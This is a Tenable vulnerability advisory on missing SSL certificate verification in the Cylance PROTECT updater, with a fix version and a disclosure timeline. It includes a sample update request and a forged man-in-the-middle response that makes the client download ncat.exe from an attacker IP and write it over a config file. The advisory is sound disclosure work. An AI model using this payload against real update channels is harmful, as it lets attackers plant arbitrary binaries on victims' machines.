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[R1] Cylance PROTECT Missing SSL Certificate Verification

Medium

Synopsis

While researching Cylance PROTECT for possible plugin coverage, Tenable noticed that the application makes some HTTPs requests without verifying the server's SSL certificate. This allows a man in the middle to intercept and modify the requests and responses. In particular, the response to the following POST request can be modified to cause Cylance PROTECT to download an arbitrary file.

POST https://update.cylance.com/updates HTTP/1.1
Accept: application/json, application/xml, text/json, text/x-json, text/javascript, text/xml
User-Agent: RestSharp/2.0.1460.29
Content-Type: application/json
Content-Length: 3303
Connection: Keep-Alive
Host: update.cylance.com

{"TenantId":"a9b0e890-b4bd-4777-b1a3-5d20db3360ab","Bitness":64,"DeviceId":"4b7bca07-ce3a-464a-9aa9-c643ab0d9c13","FileVersions":[
{"FileName":"CefClient.dll","Version":"1.0.47.550"},
{"FileName":"CefServer.dll","Version":"1.0.47.550"},
{"FileName":"CommonUtils.dll","Version":"5.0.0.2598"},
... truncated ...

A malicious attacker could modify the response to this request to look something like the following:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Date: Mon, 05 Mar 2018 16:12:08 GMT
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 97
Connection: keep-alive

[{ "FileName":"CyProtect.exe.config", "Url":"http://172.26.38.11/ncat.exe", "Version":"7.58.0"}]

Which causes the ncat.exe binary to be written to C:\Program Files\Cylance\Desktop\D\CyProtect.exe.config.

Solution

Upgrade to PROTECT 1480 or later.

Disclosure Timeline

03-05-2018 - Contacted [email protected] and requested their public key
03-05-2018 - Cylance provides a public key
03-05-2018 - Tenable sends vulnerability details in an encrypted email
03-07-2018 - Cylance requests Tenable's public key
03-07-2018 - Tenable provides a public key
03-07-2018 - Cylance asks about ZAP configuration
03-07-2018 - Tenable provides details
03-20-2018 - Tenable asks Cylance if they were able to recreate the issue
03-20-2018 - Cylance confirms reproduction
04-17-2018 - Tenable asks about a patch date
04-24-2018 - Cylance indicates May 1 will be the patch date

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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